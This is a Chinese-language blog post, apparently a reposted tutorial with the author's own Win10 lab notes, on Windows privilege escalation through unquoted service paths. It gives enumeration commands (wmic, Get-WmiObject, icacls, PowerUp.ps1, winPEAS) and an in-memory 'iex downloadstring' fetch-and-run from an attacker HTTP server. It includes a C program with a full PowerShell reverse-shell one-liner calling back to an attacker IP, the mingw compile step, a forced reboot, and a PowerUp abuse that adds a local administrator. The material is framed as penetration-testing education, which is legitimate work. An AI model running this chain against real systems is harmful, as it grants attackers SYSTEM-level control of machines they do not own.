未引用的服务路径提权
原文地址:Windows 提权-服务_未引用的服务路径 - 扛枪的书生 - 博客园
在win10上面搭建环境:
这里只用无引号和有空格的才存在漏洞,而windows很多服务没有空格,所以他也就不加引号了
【1】创建服务
sc create "MySB" binpath= "c:\Program Files\ms hu\md test\helloworld.exe" start= auto
#这里用sc create "MySB" binpath= c:\Program Files\ms hu\md test\helloworld.exe start= auto创建一直不成功,ai又说要不加引号才行,但这里加了引号后面也能成功,我认为这里加不加引号对于程序路径是否有引号无影响

【2】验证服务安装成功sc qc MySB

注:也可以查看注册表
路径 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 正是Windows系统中所有服务配置信息的集中存储地。在这里,你可以找到并管理每一个已注册的服务,在这个 Services 文件夹下,每一个子文件夹都代表一个独立的服务
可以看到下图的路径也是没有引号包裹的

或者win+R输入service.msc,可以看到图中也是没有引号包裹的

这里作为对比,给出有引号包裹的


【3】给ms hu目录增加权限,让普通用户也可修改(M)

【4】用命令看看服务路径是否correct(之前通过注册表和services.msc也是可以的)

也是可以看到这里设置成功了,所以之前sc create是否加引号好像真没有影响,以后再看看
0、前言(win10复现成功)
在 Windows 提权技术中,最常见的提权方式是利用服务的错误配置。而服务错误配置的方式有很多,但迄今为止最有趣的还得是服务路径未被引用。在这篇文章中,我们将看到由薄弱的目录权限和带有空格和无引号的服务路径组合在一起之后是如何使得用户权限从标准用户被提升到了本地 SYSTEM。
首先,我们使用手动技术和自动工具去枚举发现未引用的服务路径。其次,通过进一步枚举,确定我们是否拥有路径中某个目录的写入权限。然后,通过手工自制一个反向 shell 的程序,并在攻击者机器上完成编译。最后,我们会将这个自制程序传输到受害者的特定目录下,并重启系统以获得 SYSTEM shell。
1、未引用的服务路径漏洞原理
未加引号的服务路径漏洞是指:当 Windows 在启动服务时,如果服务的可执行文件路径中包含有空格,但整个路径又未使用双引号包裹。此时,系统便会按照路径优先级逐层查找可执行文件。例如:
假设一个服务的路径是 C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe。此时,Windows 可能会按照以下顺序逐个尝试查找并执行服务启动程序。
C:\Program.exe
C:\Program Files\Juggernaut.exe
C:\Program Files\Juggernaut Prod\Production.exe
C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe
这意味着,如果我们有权限在实际的可执行文件位置之前的三个目录中的任何一个中写入内容,那我们就可以制作一个可执行文件,并根据路径中的名称为其命名,就像上面的例子一样。之后,当服务启动时,它将执行我们的恶意程序,而不是预定的程序。
如果我们可以写入 C:\,我们将制作一个名为 Program.exe 的可执行文件,并将其放入 C:\;如果我们能写入 C:\Program Files,我们就会制作一个名为 Juggernaut.exe 的可执行文件,并将其放入 C:\Program Files。以此类推...
2、搜寻未引用的服务路径
假设我们作为标准用户 cmarko 已在目标机器上获得了立足点。

首要事情便是通过 whoami /priv 命令检查当前用户的特权。

可以看到用户 cmarko 拥有 SeShutdownPrivilege 权限,而这一点在稍后利用服务获取 SYSTEM shell 时非常重要,因为需要以重启主机的方式重启服务
whoami /priv 命令列出了当前用户 cmarko 所拥有的所有权限。SeShutdownPrivilege 出现在这个列表里,就证明这个用户确实拥有“关闭系统”的权限。
关键在于最右边的 State(状态) 列:
Disabled(已禁用):表示这个权限虽然被分配给了用户,但当前是休眠的,没有被激活使用。
Enabled(已启用):表示这个权限不仅被分配了,而且当前是活跃的,可以被程序调用
##
在 Windows 系统中,很多权限默认都是分配给用户但处于禁用状态的,只有在特定程序或操作需要时,才会由系统或程序主动启用它
2.1、枚举未引用的服务路径-手动
可以使用 cmd.exe 和 PowerShell 手动查找系统中任何未引用的服务路径。
在 cmd 中的命令如下:
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

在上述命令中,我们使用 wmic 查询服务并提取了我们感兴趣的信息。同时还使用 findstr 命令过滤掉了以 C:\Windows 开头的目录中的任何结果,因为在这些目录中即便发现了错误配置我们也没有写入权限。而第二个 findstr 命令会筛选任何包含双引号的结果。
在 PowerShell 中的等效命令如下:
Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName

经过上面这两个命令的查询发现,Juggernaut 服务具有未引用的服务路径,并且该服务是自启动服务。
2.2、枚举未引用的服务路径-工具
有很多后利用工具和脚本可使用,但在本例中,我们将坚持使用 PowerUp.ps1 和 winPEASx64.exe。
在下载每个工具的副本之后,我们将其转移到受害者机器。
2.2.1、PowerUp.ps1
在此例中,我们先将以下命令附加到 PowerUp.ps1 脚本的底部:
echo'Invoke-AllChecks'>>PowerUp.ps1

接着,在脚本的当前目录下启动 HTTP 服务器。
python3-mhttp.server80
然后,使用命令 powershell -ep bypass 进入受害者 shell 上的 PowerShell 会话中,再使用以下命令将 PowerUp.ps1 直接下载到内存中并执行脚本:
iex(new-object net.webclient).downloadstring('http://172.16.1.30/PowerUp.ps1')

在这里,可以看到 PowerUp 能够为我们枚举这种错误配置的服务。此外,PowerUp.ps1 还内置函数可以用来滥用它发现的大多数错误配置。不过,需要指出的是,当 PowerUp 发现一个未引用的服务路径时,并不一定就意味着它是“易受攻击的”,因为 PowerUp 只是识别了错误配置,然后在假定在未引用的服务路径可被利用的情况下提供了一个 AbuseFunction,具体能否利用还是需要自己去判断。【注:滥用操作在本文的第 6 节讲述】
2.2.2、winPEAS
接下来开始 winPEAS 工具的使用,首先需要下载 winPEAS 的副本并传输到受害者机器上。
certutil -split -f -urlcache "http://172.16.1.30/winPEASx64.exe"

在受害者机器上执行 winPEAS 之后,会发现 winPEAS 会输出大量的信息让人很容易犯迷糊,因此避免迷糊的关键在于要清楚我们要找的信息所在的标识位置。对于未引用的服务路径,我们要检查“Services Information”部分。这里会为我们提供有关服务名称、服务启动程序路径和启动类型等信息。

此外,如果我们继续向下查看 PEAS 的输出结果,就会发现它还枚举了在未引用路径上哪些目录我们具有写入权限。
毫无疑问,winPEAS 的能力实在是令人难以置信。但是,如果你要从输出的内容中获取到有用的信息的话,还是要多锻炼锻炼。
3、沿着服务路径枚举目录权限
目前,我们已经发现了未引用的服务路径,但仍无法确定它是否真的脆弱。为此,可以使用内置命令 icacls 或 Get-Acl 来检查沿着服务路径上每一层目录的权限,另外,也还会使用外部工具 accesschk.exe 来检查。
3.1、cmd.exe(icacls)
首先,在 cmd 会话中使用内置命令 icacls 来检查目录和文件的 ACL 的权限。而为了能理解 icacls 命令输出的信息,我们需要了解以下关于权限和用户组相关的知识:
【知识1】:我们要查找的目录权限只要是以下三种权限中的任意一种均可:
- (F) Full Control【完全控制】
- (M) Modify【修改】
- (W) Write【写入】
【知识2】:我们会经常见到的用户/组如下:
- 当前登录用户,如 bob。
- Authenticated Users【注:通过 控制台、RDP、WinRM、SMB 登录系统的用户都属于已认证用户。】
- Everyone
- BUILTIN\Users
- NT AUTHORITY\INTERACTIVE
接下来,我们打算从左到右开始目录的权限检查,例如:
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Juggernaut Prod"

可以看到,沿着未引用的文件路径我们找到了可写目录,而这就是可以进行恶意操作的地方!
关于上面的输出内容,这里有三点需要提及一下:
- 第一,我们经常会看到通过身份验证的用户在默认情况下拥有对
C:\的修改权限。然而,这其实是一种特殊的高级权限,它实际上只允许在该位置创建子目录,而无法向其中写入可执行文件或任何文件!【注:普通用户是可以在C盘根目录下创建子目录,然后在子目录中写入文件。】 - 第二,通常情况下,我们是无法将文件写入
C:\或C:\Program Files,但依旧值得去尝试检查一下,万一用户误配置呢。【注:只有本地管理员组的用户在高完整性 shell 中才能在这些目录的根下写入文件,注意是写入文件而不是新建目录,因为对于C盘来说新建目录是个例外。】 - 第三,为什么我们不直接检查路径中的最后一个目录?因为那是包含实际服务启动程序的目录。而如果在那里有写入权限,那这就是服务的弱权限文件漏洞了(我们可以直接把其替换为恶意文件),而不需要使用未引用的服务路径来利用它。
就简单测试来说,当我们试图将 EXE 文件或 TXT 文件移动或写入到 C:\ 时,我们会被提示拒绝访问。

3.2、PowerShell(Get-ACL)
也可以在 PowerShell 会话中使用以下命令执行相同的枚举:
Get-Acl -Path C:\ | Format-List
Get-Acl -Path "C:\Program Files" | Format-List
Get-Acl -Path "C:\Program Files\Juggernaut Prod" | Format-List

在上面我们可以看到,它并没有像 icacls 那样在 C:\ 上显示“Modify”。相反,它提供了 "访问掩码格式",上面的数字其实也就是 “Modify”的数字表示形式。
注:
Get-Acl -Path C:\ | Format-List和Get-Acl -Path C: | Format-List输出的结果还是有所不同。主要是由于C:\和C:在 Windows 文件系统中有着不同的语义,C:\代表完整的根目录路径,而C:仅表示 C 盘当前所在的活动工作目录,一般是C:\Users\YourName,但也不绝对。


3.3、winPEAS
之前在使用 winPEAS 时,看到“Service Information”部分有一个未引用的服务路径。
从那里开始继续向下滚动到“Application Information”部分,然后检查“Installed Applications”子部分。如果我们能够利用该服务,那么就能从这里找到拥有写入权限的未引用服务路径中的那个目录。

如果在这部分中没有找到与我们发现的未引用服务路径相关联的可写目录,那么我们很可能也无法利用该服务。如果出现了这种情况,那么在彻底排除这一发现之前,仍应继续使用上述其它的手动方法继续确认,以防误报。
4、自制反向 shell 载荷
截至目前,我们发现的信息有:
- 有一个服务存在未引用的服务路径,路径是
C:\Program Files\Juggernaut Prod\Production Tools\Juggernaut.exe。 - 该服务是开机自启动服务,且当前用户具有 SeShutdown 特权。
- 当前用户可以在
C:\Program Files\Juggernaut Prod\目录写入文件。
这种权限升级技术的下一步便是制作一个自定义漏洞利用程序,并将其放在 C:\Program Files\Juggernaut Prod\ 中。为此,我制作了一个自定义可执行文件,它可以在攻击者的机器上直接编译。
#include<windows.h>
#include<stdio.h>
intmain(){
system("whoami >> C:\\temp\\whoami.txt");
return0;
}
可以看到,我们的可执行文件将运行 whoami 命令,并将输出结果重定向到一个文件
whoami 命令替换为下面的 PowerShell 1-liner 命令,这样就能在执行该命令时获得一个反向 shell:
"powershell.exe -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('172.16.1.30',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
注:脚本中的 IP 为攻击者机器的 IP 地址。

请注意,上述的 PowerShell 命令周围的双引号旁边的转义字符是需要存在的。这是为了让代码将它们读作字面上的双引号,因为如果没有双引号,代码将无法编译,或者即使编译了也无法运行。
直接在攻击者机器上编译它:
x86_64-w64-mingw32-gccexploit.c-oProduction.exe

编译完成之后便可将恶意程序传输到受害者机器。
注:攻击机用python3 -m http.server 80来起一个http服务

5、利用未引用的服务路径
接下来,只需将漏洞利用程序移到 "C:\Program Files\Juggernaut Prod " 目录中,然后在攻击者机器上启动 443 端口的 netcat 监听器,最后重启受害者机器即可。

重新启动计算机可以使用以下命令:
shutdown /r /t 0 /f
回到监听器,我们就得到了一个 SYSTEM shell!

有时候在回到监听器的时候发现好像并没有发生什么变化,也没有出现任何提示,这时只需按下回车键,提示就会出现。
6、滥用 PowerUp.ps1 功能
之前在 2.2.1 小节的时候,当我们使用 PowerUp.ps1 枚举未引用的服务路径时,它显示有 AbuseFunction (滥用)字段。现在,我们可以用它来利用这个漏洞。

使用此 AbuseFunction 将会在当前目录下创建一个恶意程序,而运行该程序将会创建一个新用户,并将该用户归入管理员组。【注:以当前普通用户的身份单独执行该程序是不起作用的。】
Write-ServiceBinary -ServiceName 'Juggernaut'

此时,我们需要将上述生成 service.exe 程序写入 "C:\Program Files\Juggernaut Prod" ,然后将其重命名为 Production.exe。

现在,当我们重启系统并回到之前的反向 shell 时,可以看到新的用户已创建并被添加到了本地管理员组!

此时,如果很幸运发现目标系统的 RDP 服务是打开的,那我们就可以使用 xfreerdp 进行 RDP 登录,然后以“以管理员身份运行”打开 cmd,进入到具有完全权限的高完整性 shell 中。
sudoxfreerdp/u:john/p:'Password123!'/v:172.16.1.50+clipboard

但是,如果目标没有打开 RDP 服务。此时,我们就需要通过 Runas 和 UAC-bypass 技术来获取管理员高完整性 shell。
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20650566

浙公网安备 33010602011771号